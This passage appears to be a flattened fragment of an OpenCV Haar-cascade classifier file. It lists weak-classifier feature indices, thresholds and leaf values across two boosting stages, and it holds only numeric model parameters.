6.2737002968788147e-02 + <_> + + 0 -1 932 -1.2218999676406384e-02 + + -1.8709750175476074e+00 -4.5499999076128006e-02 + <_> + + 0 -1 933 -1.6860999166965485e-02 + + -7.6912701129913330e-01 1.5330000221729279e-01 + <_> + + 0 -1 934 -2.4999999441206455e-03 + + -6.2987399101257324e-01 5.1600001752376556e-02 + <_> + + 0 -1 935 -4.5037999749183655e-02 + + 8.5428899526596069e-01 6.2600001692771912e-03 + <_> + + 0 -1 936 3.9057999849319458e-02 + + -3.2458998262882233e-02 -1.3325669765472412e+00 + <_> + + 0 -1 937 6.6720000468194485e-03 + + -1.9423599541187286e-01 3.7328699231147766e-01 + <_> + + 0 -1 938 -1.6361000016331673e-02 + + 2.0605869293212891e+00 -1.5042699873447418e-01 + <_> + + 0 -1 939 6.1719999648630619e-03 + + -1.1610999703407288e-01 2.5455400347709656e-01 + <_> + + 0 -1 940 4.5722000300884247e-02 + + -1.6340000554919243e-02 -1.0449140071868896e+00 + <_> + + 0 -1 941 4.1209999471902847e-03 + + -4.1997998952865601e-02 3.9680999517440796e-01 + <_> + + 0 -1 942 -1.7800000205170363e-04 + + -6.6422599554061890e-01 3.3443000167608261e-02 + <_> + + 0 -1 943 7.1109998971223831e-03 + + -5.8231998234987259e-02 3.7857300043106079e-01 + <_> + + 0 -1 944 -4.9864001572132111e-02 + + 6.1019402742385864e-01 -2.1005700528621674e-01 + <_> + + 0 -1 945 -2.5011999532580376e-02 + + -5.7100099325180054e-01 1.7848399281501770e-01 + <_> + + 0 -1 946 3.0939999967813492e-02 + + 5.6363001465797424e-02 -6.4731001853942871e-01 + <_> + + 0 -1 947 4.6271000057458878e-02 + + 1.7482399940490723e-01 -9.8909401893615723e-01 + <_> + + 0 -1 948 -3.1870000530034304e-03 + + -6.6804802417755127e-01 3.2267000526189804e-02 + <_> + + 0 -1 949 -2.4351999163627625e-02 + + 2.9444900155067444e-01 -1.3599999947473407e-03 + <_> + + 0 -1 950 1.1974000371992588e-02 + + -2.8345099091529846e-01 4.7171199321746826e-01 + <_> + + 0 -1 951 1.3070000335574150e-02 + + -1.0834600031375885e-01 5.7193297147750854e-01 + <_> + + 0 -1 952 5.9163000434637070e-02 + + -5.0939001142978668e-02 -1.9059720039367676e+00 + <_> + + 0 -1 953 -4.1094999760389328e-02 + + 4.5104598999023438e-01 -9.7599998116493225e-03 + <_> + + 0 -1 954 -8.3989001810550690e-02 + + -2.0349199771881104e+00 -5.1019001752138138e-02 + <_> + + 0 -1 955 4.4619001448154449e-02 + + 1.7041100561618805e-01 -1.2278720140457153e+00 + <_> + + 0 -1 956 2.4419000372290611e-02 + + -2.1796999499201775e-02 -1.0822949409484863e+00 + <_> + + 0 -1 957 -4.3870001100003719e-03 + + 3.0466699600219727e-01 -3.7066599726676941e-01 + <_> + + 0 -1 958 2.4607999250292778e-02 + + -3.1169500946998596e-01 2.3657299578189850e-01 + <_> + + 0 -1 959 -8.5182003676891327e-02 + + -1.7982350587844849e+00 1.5254299342632294e-01 + <_> + + 0 -1 960 2.1844999864697456e-02 + + -5.1888000220060349e-02 -1.9017189741134644e+00 + <_> + + 0 -1 961 -1.6829000785946846e-02 + + 2.1025900542736053e-01 2.1656999364495277e-02 + <_> + + 0 -1 962 3.2547999173402786e-02 + + -2.0292599499225616e-01 6.0944002866744995e-01 + <_> + + 0 -1 963 2.4709999561309814e-03 + + -9.5371198654174805e-01 1.8568399548530579e-01 + <_> + + 0 -1 964 5.5415999144315720e-02 + + -1.4405299723148346e-01 2.1506340503692627e+00 + <_> + + 0 -1 965 -1.0635499656200409e-01 + + -1.0911970138549805e+00 1.3228000700473785e-01 + <_> + + 0 -1 966 -7.9889995977282524e-03 + + 1.0253400355577469e-01 -5.1744902133941650e-01 + <_> + + 0 -1 967 7.5567997992038727e-02 + + 5.8965001255273819e-02 1.2354209423065186e+00 + <_> + + 0 -1 968 -9.2805996537208557e-02 + + -1.3431650400161743e+00 -3.4462999552488327e-02 + <_> + + 0 -1 969 4.9431998282670975e-02 + + 4.9601998180150986e-02 1.6054730415344238e+00 + <_> + + 0 -1 970 -1.1772999539971352e-02 + + -1.0261050462722778e+00 -4.1559999808669090e-03 + <_> + + 0 -1 971 8.5886001586914062e-02 + + 8.4642998874187469e-02 9.5220798254013062e-01 + <_> + + 0 -1 972 8.1031002104282379e-02 + + -1.4687100052833557e-01 1.9359990358352661e+00 + <_> + 136 + -3.4265899658203125e+00 + + <_> + + 0 -1 973 -3.3840999007225037e-02 + + 6.5889501571655273e-01 -6.9755297899246216e-01 + <_> + + 0 -1 974 1.5410000458359718e-02 + + -9.0728402137756348e-01 3.0478599667549133e-01 + <_> + + 0 -1 975 5.4905999451875687e-02 + + -4.9774798750877380e-01 5.7132601737976074e-01 + <_> + + 0 -1 976 2.1390000358223915e-02 + + -4.2565199732780457e-01 5.8096802234649658e-01 + <_> + + 0 -1 977 7.8849997371435165e-03 + + -4.7905999422073364e-01 4.3016499280929565e-01 + <_> + + 0 -1 978 -3.7544999271631241e-02 + + 5.0861597061157227e-01 -1.9985899329185486e-01 + <_> + + 0 -1 979 1.5925799310207367e-01 + + -2.3263600468635559e-01 1.0993319749832153e+00 + <_> + + 0 -1 980 -6.8939998745918274e-02 + + 4.0569001436233521e-01 5.6855000555515289e-02 + <_> + + 0 -1 981 -3.3695001155138016e-02 + + 4.5132800936698914e-01 -3.3332800865173340e-01 + <_> + + 0 -1 982 -6.3314996659755707e-02 + + -8.5015702247619629e-01 2.2341699898242950e-01 + <_> + + 0 -1 983 7.3699997738003731e-03 + + -9.3082201480865479e-01 5.9216998517513275e-02 + <_> + + 0 -1 984 -9.5969997346401215e-03 + + -1.2794899940490723e+00 1.8447299301624298e-01 + <_> + + 0 -1 985 -1.3067999482154846e-01 + + 5.8426898717880249e-01 -2.6007199287414551e-01 + <_> + + 0 -1 986 5.7402998208999634e-02 + + -5.3789000958204269e-02 7.1175599098205566e-01 + <_> + + 0 -1 987 -7.2340001352131367e-03 + + -8.6962199211120605e-01 7.5214996933937073e-02 + <_> + + 0 -1 988 3.1098999083042145e-02 + + -7.5006999075412750e-02 9.0781599283218384e-01 + <_> + + 0 -1 989 3.5854000598192215e-02 + + -2.4795499444007874e-01 7.2272098064422607e-01 + <_> + + 0 -1 990 -3.1534999608993530e-02 + + -1.1238329410552979e+00 2.0988300442695618e-01 + <_> + + 0 -1 991 -1.9437000155448914e-02 + + -1.4499390125274658e+00 -1.5100000426173210e-02 + <_> + + 0 -1 992 -7.2420001961290836e-03 + + 5.3864902257919312e-01 -1.1375399678945541e-01 + <_> + + 0 -1 993 8.1639997661113739e-03 + + 6.6889002919197083e-02 -7.6872897148132324e-01 + <_> + + 0 -1 994 -4.3653000146150589e-02 + + 1.1413530111312866e+00 4.0217000991106033e-02 + <_> + + 0 -1 995 2.6569999754428864e-02 + + -2.4719099700450897e-01 5.9295099973678589e-01 + <_> + + 0 -1 996 3.2216999679803848e-02 + + -4.0024999529123306e-02 3.2688000798225403e-01 + <_> + + 0 -1 997 -7.2236001491546631e-02 + + 5.8729398250579834e-01 -2.5396001338958740e-01 + <_> + + 0 -1 998 3.1424999237060547e-02 + + 1.5315100550651550e-01 -5.6042098999023438e-01 + <_> + + 0 -1 999 -4.7699999413453043e-04 + + 1.6958899796009064e-01 -5.2626699209213257e-01 + <_> + + 0 -1 1000 2.7189999818801880e-03 + + -1.4944599568843842e-01 2.9658699035644531e-01 + <_> + + 0 -1 1001 3.2875001430511475e-02 + + -3.9943501353263855e-01 2.5156599283218384e-01 + <_> + + 0 -1 1002 -1.4553000219166279e-02 + + 2.7972599864006042e-01 -4.7203800082206726e-01 + <_> + + 0 -1 1003 3.8017999380826950e-02 + + -2.9200001154094934e-03 -1.1300059556961060e+00 + <_> + + 0 -1 1004 2.8659999370574951e-03 + + 4.1111800074577332e-01 -2.6220801472663879e-01 + <_> + + 0 -1 1005 -4.1606999933719635e-02 + + -1.4293819665908813e+00 -1.9132999703288078e-02 + <_> + + 0 -1 1006 -2.4802999570965767e-02 + + -2.5013598799705505e-01 1.5978699922561646e-01 + <_> + + 0 -1 1007 1.0098000057041645e-02 + + 4.3738998472690582e-02 -6.9986099004745483e-01 + <_> + + 0 -1 1008 -2.0947000011801720e-02 + + -9.4137799739837646e-01 2.3204000294208527e-01 + <_> + + 0 -1 1009 2.2458000108599663e-02 + + -2.7185800671577454e-01 4.5319199562072754e-01 + <_> + + 0 -1 1010 -3.7110999226570129e-02 + + -1.0314660072326660e+00 1.4421799778938293e-01 + <_> + + 0 -1 1011 -1.0648000054061413e-02 + + 6.3107001781463623e-01 -2.5520798563957214e-01 + <_> + + 0 -1 1012 5.5422998964786530e-02 + + 1.6206599771976471e-01 -1.7722640037536621e+00 + <_> + + 0 -1 1013 2.1601999178528786e-02 + + -2.5016099214553833e-01 5.4119801521301270e-01 + <_> + + 0 -1 1014 8.7000000348780304e-05 + + -2.9008901119232178e-01 3.3507999777793884e-01 + <_> + + 0 -1 1015 1.4406000263988972e-02 + + -7.8840004280209541e-03 -1.1677219867706299e+00 + <_> + + 0 -1 1016 1.0777399688959122e-01 + + 1.1292000114917755e-01 -2.4940319061279297e+00 + <_> + + 0 -1 1017 3.5943999886512756e-02 + + -1.9480599462985992e-01 9.5757502317428589e-01 + <_> + + 0 -1 1018 -3.9510000497102737e-03 + + 3.0927801132202148e-01 -2.5530201196670532e-01 + <_> + + 0 -1 1019 2.0942000672221184e-02 + + -7.6319999061524868e-03 -1.0086350440979004e+00 + <_> + + 0 -1 1020 -2.9877999797463417e-02 + + -4.6027699112892151e-01 1.9507199525833130e-01 + <_> + + 0 -1 1021 2.5971999391913414e-02 + + -1.2187999673187733e-02 -1.0035500526428223e+00 + <_> + + 0 -1 1022 1.0603000409901142e-02 + + -7.5969003140926361e-02 4.1669899225234985e-01 + <_> + + 0 -1 1023 8.5819996893405914e-03 + + -2.6648598909378052e-01 3.9111500978469849e-01 + <_> + + 0 -1 1024 2.1270999684929848e-02 + + 1.8273900449275970e-01 -3.6052298545837402e-01 + <_> + + 0 -1 1025 7.4518002569675446e-02 + + -1.8938399851322174e-01 9.2658001184463501e-01 + <_> + + 0 -1 1026 4.6569998376071453e-03 + + -1.4506199955940247e-01 3.3294600248336792e-01 + <_> + + 0 -1 1027 1.7119999974966049e-03 + + -5.2464002370834351e-01 8.9879997074604034e-02 + <_> + + 0 -1 1028 9.8500004969537258e-04 + + -3.8381999731063843e-01 2.4392999708652496e-01 + <_> + + 0 -1 1029 2.8233999386429787e-02 + + -5.7879998348653316e-03 -1.2617139816284180e+00 + <_> + + 0 -1 1030 -3.2678000628948212e-02 + + -5.7953298091888428e-01 1.6955299675464630e-01 + <_> + + 0 -1 1031 2.2536000236868858e-02 + + 2.2281000390648842e-02 -8.7869602441787720e-01 + <_> + + 0 -1 1032 -2.1657999604940414e-02 + + -6.5108501911163330e-01 1.2966899573802948e-01 + <_> + + 0 -1 1033 7.6799998059868813e-03 + + -3.3965200185775757e-01 2.2013300657272339e-01 + <_> + + 0 -1 1034 1.4592000283300877e-02 + + 1.5077300369739532e-01 -5.0452399253845215e-01 + <_> + + 0 -1 1035 2.7868000790476799e-02 + + -2.5045299530029297e-01 4.5741999149322510e-01 + <_> + + 0 -1 1036 5.6940000504255295e-03 + + -1.0948500037193298e-01 5.5757802724838257e-01 + <_> + + 0 -1 1037 -1.0002999566495419e-02 + + -9.7366297245025635e-01 1.8467999994754791e-02 + <_> + + 0 -1 1038 -4.0719998069107533e-03 + + 3.8222199678421021e-01 -1.6921100020408630e-01 + <_> + + 0 -1 1039 -2.2593999281525612e-02 + + -1.0391089916229248e+00 5.1839998923242092e-03 + <_> + + 0 -1 1040 -3.9579998701810837e-02 + + -5.5109229087829590e+00 1.1163999885320663e-01 + <_> + + 0 -1 1041 -1.7537999898195267e-02 + + 9.5485800504684448e-01 -1.8584500253200531e-01 + <_> + + 0 -1 1042 9.0300003066658974e-03 + + 1.0436000302433968e-02 8.2114797830581665e-01 + <_> + + 0 -1 1043 -7.9539995640516281e-03 + + 2.2632899880409241e-01 -3.4568199515342712e-01 + <_> + + 0 -1 1044 2.7091000229120255e-02 + + 1.6430099308490753e-01 -1.3926379680633545e+00 + <_> + + 0 -1 1045 -2.0625999197363853e-02 + + -8.6366099119186401e-01 2.3880000226199627e-03 + <_> + + 0 -1 1046 -7.1989998221397400e-02 + + -2.8192629814147949e+00 1.1570499837398529e-01 + <_> + + 0 -1 1047 -2.6964999735355377e-02 + + -1.2946130037307739e+00 -2.4661000818014145e-02 + <_> + + 0 -1 1048 -4.7377999871969223e-02 + + -8.1306397914886475e-01 1.1831399798393250e-01 + <_> + + 0 -1 1049 -1.0895600169897079e-01 + + 6.5937900543212891e-01 -2.0843900740146637e-01 + <_> + + 0 -1 1050 1.3574000447988510e-02 + + 7.4240001849830151e-03 5.3152197599411011e-01 + <_> + + 0 -1 1051 -6.6920001991093159e-03 + + 3.0655801296234131e-01 -3.1084299087524414e-01 + <_> + + 0 -1 1052 -3.9070001803338528e-03 + + 2.5576499104499817e-01 -5.2932001650333405e-02 + <_> + + 0 -1 1053 -3.7613000720739365e-02 + + -1.4350049495697021e+00 -1.5448000282049179e-02 + <_> + + 0 -1 1054 8.6329998448491096e-03 + + -1.6884399950504303e-01 4.2124900221824646e-01 + <_> + + 0 -1 1055 -3.2097000628709793e-02 + + -6.4979398250579834e-01 4.1110001504421234e-02 + <_> + + 0 -1 1056 5.8495998382568359e-02 + + -5.2963998168706894e-02 6.3368302583694458e-01 + <_> + + 0 -1 1057 -4.0901999920606613e-02 + + -9.2101097106933594e-01 9.0640000998973846e-03 + <_> + + 0 -1 1058 -1.9925000146031380e-02 + + 5.3759998083114624e-01 -6.2996998429298401e-02 + <_> + + 0 -1 1059 -4.6020001173019409e-03 + + -5.4333502054214478e-01 8.4104999899864197e-02 + <_> + + 0 -1 1060 1.6824999824166298e-02 + + 1.5563699603080750e-01 -4.0171200037002563e-01 + <_> + + 0 -1 1061 9.4790002331137657e-03 + + -2.4245299398899078e-01 5.1509499549865723e-01 + <_> + + 0 -1 1062 -1.9534999504685402e-02 + + -5.1118397712707520e-01 1.3831999897956848e-01 + <_> + + 0 -1 1063 1.0746000334620476e-02 + + -2.1854999661445618e-01 6.2828701734542847e-01 + <_> + + 0 -1 1064 3.7927001714706421e-02 + + 1.1640299856662750e-01 -2.7301959991455078e+00 + <_> + + 0 -1 1065 1.6390999779105186e-02 + + -1.4635999687016010e-02 -1.0797250270843506e+00 + <_> + + 0 -1 1066 -1.9785000011324883e-02 + + 1.2166420221328735e+00 3.3275000751018524e-02 + <_> + + 0 -1 1067 1.1067000217735767e-02 + + -2.5388300418853760e-01 4.4038599729537964e-01 + <_> + + 0 -1 1068 5.2479999139904976e-03 + + 2.2496800124645233e-01 -2.4216499924659729e-01 + <_> + + 0 -1 1069 -1.1141999624669552e-02 + + 2.5018098950386047e-01 -3.0811500549316406e-01 + <_> + + 0 -1 1070 -1.0666999965906143e-02 + + -3.2729101181030273e-01 2.6168298721313477e-01 + <_> + + 0 -1 1071 1.0545299947261810e-01 + + -5.5750001221895218e-02 -1.9605729579925537e+00 + <_> + + 0 -1 1072 5.4827999323606491e-02 + + -1.9519999623298645e-03 7.3866099119186401e-01 + <_> + + 0 -1 1073 1.7760999500751495e-02 + + -3.0647200345993042e-01 2.6346999406814575e-01 + <_> + + 0 -1 1074 -3.1185999512672424e-02 + + -2.4600900709629059e-01 1.7082199454307556e-01 + <_> + + 0 -1 1075 -5.7296000421047211e-02 + + 4.7033500671386719e-01 -2.6048299670219421e-01 + <_> + + 0 -1 1076 -1.1312000453472137e-02 + + 3.8628900051116943e-01 -2.8817000985145569e-01 + <_> + + 0 -1 1077 3.0592000111937523e-02 + + -4.8826001584529877e-02 -1.7638969421386719e+00 + <_> + + 0 -1 1078 1.8489999929443002e-03 + + 2.1099899709224701e-01 -2.5940999388694763e-02 + <_> + + 0 -1 1079 1.1419000104069710e-02 + + -1.6829599440097809e-01 1.0278660058975220e+00 + <_> + + 0 -1 1080 8.1403002142906189e-02 + + 1.1531999707221985e-01 -1.2482399940490723e+00 + <_> + + 0 -1 1081 5.3495999425649643e-02 + + -4.6303998678922653e-02 -1.7165969610214233e+00 + <_> + + 0 -1 1082 -2.3948000743985176e-02 + + -4.0246599912643433e-01 2.0562100410461426e-01 + <_> + + 0 -1 1083 6.7690000869333744e-03 + + -3.3152300119400024e-01 2.0683400332927704e-01 + <_> + + 0 -1 1084 -3.2343998551368713e-02 + + -7.2632801532745361e-01 2.0073500275611877e-01 + <_> + + 0 -1 1085 3.7863001227378845e-02 + + -1.5631000697612762e-01 1.6697460412979126e+00 + <_> + + 0 -1 1086 1.5440000221133232e-02 + + 1.9487400352954865e-01 -3.5384199023246765e-01 + <_> + + 0 -1 1087 -4.4376000761985779e-02 + + 8.2093602418899536e-01 -1.8193599581718445e-01 + <_> + + 0 -1 1088 -2.3102000355720520e-02 + + -4.3044099211692810e-01 1.2375400215387344e-01 + <_> + + 0 -1 1089 1.9400000572204590e-02 + + -2.9726000502705574e-02 -1.1597590446472168e+00 + <_> + + 0 -1 1090 1.0385700315237045e-01 + + 1.1149899661540985e-01 -4.6835222244262695e+00 + <_> + + 0 -1 1091 -1.8964000046253204e-02 + + 2.1773819923400879e+00 -1.4544400572776794e-01 + <_> + + 0 -1 1092 3.8750998675823212e-02 + + -4.9446001648902893e-02 3.4018298983573914e-01 + <_> + + 0 -1 1093 2.2766999900341034e-02 + + -3.2802999019622803e-01 3.0531400442123413e-01 + <_> + + 0 -1 1094 -3.1357001513242722e-02 + + 1.1520819664001465e+00 2.7305999770760536e-02 + <_> + + 0 -1 1095 9.6909999847412109e-03 + + -3.8799500465393066e-01 2.1512599289417267e-01 + <_> + + 0 -1 1096 -4.9284998327493668e-02 + + -1.6774909496307373e+00 1.5774199366569519e-01 + <_> + + 0 -1 1097 -3.9510998874902725e-02 + + -9.7647899389266968e-01 -1.0552000254392624e-02 + <_> + + 0 -1 1098 4.7997999936342239e-02 + + 2.0843900740146637e-01 -6.8992799520492554e-01 + <_> + + 0 -1 1099 5.1422998309135437e-02 + + -1.6665300726890564e-01 1.2149239778518677e+00 + <_> + + 0 -1 1100 1.4279999770224094e-02 + + 2.3627699911594391e-01 -4.1396799683570862e-01 + <_> + + 0 -1 1101 -9.1611996293067932e-02 + + -9.2830902338027954e-01 -1.8345000222325325e-02 + <_> + + 0 -1 1102 6.5080001950263977e-03 + + -7.3647201061248779e-01 1.9497099518775940e-01 + <_> + + 0 -1 1103 3.5723000764846802e-02 + + 1.4197799563407898e-01 -4.2089301347732544e-01 + <_> + + 0 -1 1104 5.0638001412153244e-02 + + 1.1644000187516212e-02 7.8486597537994385e-01 + <_> + + 0 -1 1105 -1.4613999985158443e-02 + + -1.1909500360488892e+00 -3.5128001123666763e-02 + <_> + + 0 -1 1106 -3.8662999868392944e-02 + + 2.4314730167388916e+00 6.5647996962070465e-02 + <_> + + 0 -1 1107 -4.0346998721361160e-02 + + 7.1755301952362061e-01 -1.9108299911022186e-01 + <_> + + 0 -1 1108 2.3902000859379768e-02 + + 1.5646199882030487e-01 -7.9294800758361816e-01 + <_> + 137 + -3.5125269889831543e+00 + + <_> + + 0 -1 1109 8.5640000179409981e-03 + + -8.1450700759887695e-01 5.8875298500061035e-01 + <_> + + 0 -1 1110 -1.3292600214481354e-01 + + 9.3213397264480591e-01 -2.9367300868034363e-01 + <_> + + 0 -1 1111 9.8400004208087921e-03 + + -5.6462901830673218e-01 4.1647699475288391e-01 + <_> + + 0 -1 1112 5.0889998674392700e-03 + + -7.9232800006866455e-01 1.6975000500679016e-01 + <_> + + 0 -1 1113 -6.1039000749588013e-02 + + -1.4169000387191772e+00 2.5020999833941460e-02 + <_> + + 0 -1 1114 -4.6599999768659472e-04 + + 3.7982499599456787e-01 -4.1567099094390869e-01 + <_> + + 0 -1 1115 3.3889999613165855e-03 + + -4.0768599510192871e-01 3.5548499226570129e-01 + <_> + + 0 -1 1116 2.1006999537348747e-02 + + -2.4080100655555725e-01 8.6112701892852783e-01 + <_> + + 0 -1 1117 7.5559997931122780e-03 + + -8.7467199563980103e-01 9.8572000861167908e-02 + <_> + + 0 -1 1118 2.4779999628663063e-02 + + 1.5566200017929077e-01 -6.9229799509048462e-01 + <_> + + 0 -1 1119 -3.5620000213384628e-02 + + -1.1472270488739014e+00 3.6359999328851700e-02 + <_> + + 0 -1 1120 1.9810000434517860e-02 + + 1.5516200661659241e-01 -6.9520097970962524e-01 + <_> + + 0 -1 1121 1.5019999817013741e-02 + + 4.1990000754594803e-02 -9.6622800827026367e-01 + <_> + + 0 -1 1122 -2.3137999698519707e-02 + + 4.3396899104118347e-01 2.4160000029951334e-03 + <_> + + 0 -1 1123 -1.8743000924587250e-02 + + 4.3481099605560303e-01 -3.2522499561309814e-01 + <_> + + 0 -1 1124 4.5080000162124634e-01 + + -9.4573996961116791e-02 7.2421300411224365e-01 + <_> + + 0 -1 1125 1.1854999698698521e-02 + + -3.8133099675178528e-01 3.0098399519920349e-01 + <_> + + 0 -1 1126 -2.4830000475049019e-02 + + 8.9300602674484253e-01 -1.0295899957418442e-01 + <_> + + 0 -1 1127 -4.4743001461029053e-02 + + 8.6280298233032227e-01 -2.1716499328613281e-01 + <_> + + 0 -1 1128 -1.4600000344216824e-02 + + 6.0069400072097778e-01 -1.5906299650669098e-01 + <_> + + 0 -1 1129 -2.4527000263333321e-02 + + -1.5872869491577148e+00 -2.1817000582814217e-02 + <_> + + 0 -1 1130 2.3024000227451324e-02 + + 1.6853399574756622e-01 -3.8106900453567505e-01 + <_> + + 0 -1 1131 -2.4917000904679298e-02 + + 5.0810897350311279e-01 -2.7279898524284363e-01 + <_> + + 0 -1 1132 1.0130000300705433e-03 + + -4.3138799071311951e-01 2.6438099145889282e-01 + <_> + + 0 -1 1133 1.5603000298142433e-02 + + -3.1624200940132141e-01 5.5715900659561157e-01 + <_> + + 0 -1 1134 -2.6685999706387520e-02 + + 1.0553920269012451e+00 2.9074000194668770e-02 + <_> + + 0 -1 1135 1.3940000208094716e-03 + + -7.1873801946640015e-01 6.5390996634960175e-02 + <_> + + 0 -1 1136 -6.4799998654052615e-04 + + 2.4884399771690369e-01 -2.0978200435638428e-01 + <_> + + 0 -1 1137 -3.1888000667095184e-02 + + -6.8844497203826904e-01 6.3589997589588165e-02 + <_> + + 0 -1 1138 -4.9290000461041927e-03 + + -5.9152501821517944e-01 2.7943599224090576e-01 + <_> + + 0 -1 1139 3.1168000772595406e-02 + + 4.5223999768495560e-02 -8.8639199733734131e-01 + <_> + + 0 -1 1140 -3.3663000911474228e-02 + + -6.1590200662612915e-01 1.5749299526214600e-01 + <_> + + 0 -1 1141 1.1966999620199203e-02 + + -3.0606698989868164e-01 4.2293301224708557e-01 + <_> + + 0 -1 1142 -3.4680001437664032e-02 + + -1.3734940290451050e+00 1.5908700227737427e-01 + <_> + + 0 -1 1143 9.9290004000067711e-03 + + -5.5860197544097900e-01 1.2119200080633163e-01 + <_> + + 0 -1 1144 5.9574998915195465e-02 + + 4.9720001406967640e-03 8.2055401802062988e-01 + <_> + + 0 -1 1145 -6.5428003668785095e-02 + + 1.5651429891586304e+00 -1.6817499697208405e-01 + <_> + + 0 -1 1146 -9.2895999550819397e-02 + + -1.5794529914855957e+00 1.4661799371242523e-01 + <_> + + 0 -1 1147 -4.1184000670909882e-02 + + -1.5518720149993896e+00 -2.9969999566674232e-02 + <_> + + 0 -1 1148 2.1447999402880669e-02 + + 1.7196300625801086e-01 -6.9343197345733643e-01 + <_> + + 0 -1 1149 -2.5569999590516090e-02 + + -1.3061310052871704e+00 -2.4336999282240868e-02 + <_> + + 0 -1 1150 -4.1200999170541763e-02 + + -1.3821059465408325e+00 1.4801800251007080e-01 + <_> + + 0 -1 1151 -1.7668999731540680e-02 + + -7.0889997482299805e-01 3.6524001508951187e-02 + <_> + + 0 -1 1152 9.0060001239180565e-03 + + -4.0913999080657959e-02 8.0373102426528931e-01 + <_> + + 0 -1 1153 -1.1652999557554722e-02 + + 5.7546800374984741e-01 -2.4991700053215027e-01 + <_> + + 0 -1 1154 -7.4780001305043697e-03 + + -4.9280899763107300e-01 1.9810900092124939e-01 + <_> + + 0 -1 1155 8.5499999113380909e-04 + + -4.8858100175857544e-01 1.3563099503517151e-01 + <_> + + 0 -1 1156 -3.0538000166416168e-02 + + -6.0278397798538208e-01 1.8522000312805176e-01 + <_> + + 0 -1 1157 -1.8846999853849411e-02 + + 2.3565599322319031e-01 -3.5136300325393677e-01 + <_> + + 0 -1 1158 -8.1129996106028557e-03 + + -8.1304997205734253e-02 2.1069599688053131e-01 + <_> + + 0 -1 1159 -3.4830000251531601e-02 + + -1.2065670490264893e+00 -1.4251999557018280e-02 + <_> + + 0 -1 1160 1.9021000713109970e-02 + + 2.3349900543689728e-01 -4.5664900541305542e-01 + <_> + + 0 -1 1161 -1.9004000350832939e-02 + + -8.1075799465179443e-01 1.3140000402927399e-02 + <_> + + 0 -1 1162 -8.9057996869087219e-02 + + 6.1542397737503052e-01 3.2983001321554184e-02 + <_> + + 0 -1 1163 6.8620000965893269e-03 + + -2.9583099484443665e-01 2.7003699541091919e-01 + <_> + + 0 -1 1164 -2.8240999206900597e-02 + + -6.1102700233459473e-01 1.7357499897480011e-01 + <_> + + 0 -1 1165 -3.2099999953061342e-04 + + -5.3322899341583252e-01 6.8539001047611237e-02 + <_> + + 0 -1 1166 -1.0829100012779236e-01 + + -1.2879559993743896e+00 1.1801700294017792e-01 + <_> + + 0 -1 1167 1.5878999605774879e-02 + + -1.7072600126266479e-01 1.1103910207748413e+00 + <_> + + 0 -1 1168 8.6859995499253273e-03 + + -1.0995099693536758e-01 4.6010500192642212e-01 + <_> + + 0 -1 1169 -2.5234999135136604e-02 + + 1.0220669507980347e+00 -1.8694299459457397e-01 + <_> + + 0 -1 1170 -1.3508999720215797e-02 + + -7.8316599130630493e-01 1.4202600717544556e-01 + <_> + + 0 -1 1171 -7.7149998396635056e-03 + + -8.8060700893402100e-01 1.1060000397264957e-02 + <_> + + 0 -1 1172 7.1580000221729279e-02 + + 1.1369399726390839e-01 -1.1032789945602417e+00 + <_> + + 0 -1 1173 -1.3554000295698643e-02 + + -8.1096500158309937e-01 3.4080001059919596e-03 + <_> + + 0 -1 1174 2.9450000729411840e-03 + + -7.2879999876022339e-02 3.4998100996017456e-01 + <_> + + 0 -1 1175 -5.0833001732826233e-02 + + -1.2868590354919434e+00 -2.8842000290751457e-02 + <_> + + 0 -1 1176 -8.7989997118711472e-03 + + 4.7613599896430969e-01 -1.4690400660037994e-01 + <_> + + 0 -1 1177 2.1424399316310883e-01 + + -5.9702001512050629e-02 -2.4802260398864746e+00 + <_> + + 0 -1 1178 1.3962999917566776e-02 + + 1.7420299351215363e-01 -4.3911001086235046e-01 + <_> + + 0 -1 1179 4.2502000927925110e-02 + + -1.9965299963951111e-01 7.0654797554016113e-01 + <_> + + 0 -1 1180 1.9827999174594879e-02 + + -6.9136001169681549e-02 6.1643397808074951e-01 + <_> + + 0 -1 1181 -3.3560000360012054e-02 + + -1.2740780115127563e+00 -2.5673000141978264e-02 + <_> + + 0 -1 1182 6.3542999327182770e-02 + + 1.2403500080108643e-01 -1.0776289701461792e+00 + <_> + + 0 -1 1183 2.1933000534772873e-02 + + 1.4952000230550766e-02 -7.1023499965667725e-01 + <_> + + 0 -1 1184 -7.8424997627735138e-02 + + 6.2033998966217041e-01 3.3610999584197998e-02 + <_> + + 0 -1 1185 1.4390000142157078e-02 + + -3.6324599385261536e-01 1.7308300733566284e-01 + <_> + + 0 -1 1186 -6.7309997975826263e-02 + + 5.2374100685119629e-01 1.2799999676644802e-02 + <_> + + 0 -1 1187 1.3047499954700470e-01 + + -1.7122499644756317e-01 1.1235200166702271e+00 + <_> + + 0 -1 1188 -4.6245999634265900e-02 + + -1.1908329725265503e+00 1.7425599694252014e-01 + <_> + + 0 -1 1189 -2.9842000454664230e-02 + + 8.3930599689483643e-01 -1.8064199388027191e-01 + <_> + + 0 -1 1190 -3.8099999073892832e-04 + + 3.5532799363136292e-01 -2.3842300474643707e-01 + <_> + + 0 -1 1191 -2.2378999739885330e-02 + + -8.7943899631500244e-01 -7.8399997437372804e-04 + <_> + + 0 -1 1192 -1.5569999814033508e-03 + + -1.4253300428390503e-01 2.5876200199127197e-01 + <_> + + 0 -1 1193 1.2013000436127186e-02 + + -2.9015499353408813e-01 2.6051101088523865e-01 + <_> + + 0 -1 1194 2.4384999647736549e-02 + + -3.1438998878002167e-02 5.8695900440216064e-01 + <_> + + 0 -1 1195 -4.7180999070405960e-02 + + 6.9430100917816162e-01 -2.1816100180149078e-01 + <_> + + 0 -1 1196 -2.4893999099731445e-02 + + -6.4599299430847168e-01 1.5611599385738373e-01 + <_> + + 0 -1 1197 2.1944999694824219e-02 + + -2.7742000296711922e-02 -1.1346880197525024e+00 + <_> + + 0 -1 1198 1.8809899687767029e-01 + + -1.0076000355184078e-02 1.2429029941558838e+00 + <_> + + 0 -1 1199 -7.7872000634670258e-02 + + 8.5008001327514648e-01 -1.9015499949455261e-01 + <_> + + 0 -1 1200 -4.8769000917673111e-02 + + -2.0763080120086670e+00 1.2179400026798248e-01 + <_> + + 0 -1 1201 -1.7115000635385513e-02 + + -8.5687297582626343e-01 7.8760003671050072e-03 + <_> + + 0 -1 1202 -2.7499999850988388e-03 + + 3.8645499944686890e-01 -1.1391499638557434e-01 + <_> + + 0 -1 1203 -9.8793998360633850e-02 + + -1.7233899831771851e+00 -5.6063000112771988e-02 + <_> + + 0 -1 1204 -2.1936999633908272e-02 + + 5.4749399423599243e-01 -4.2481999844312668e-02 + <_> + + 0 -1 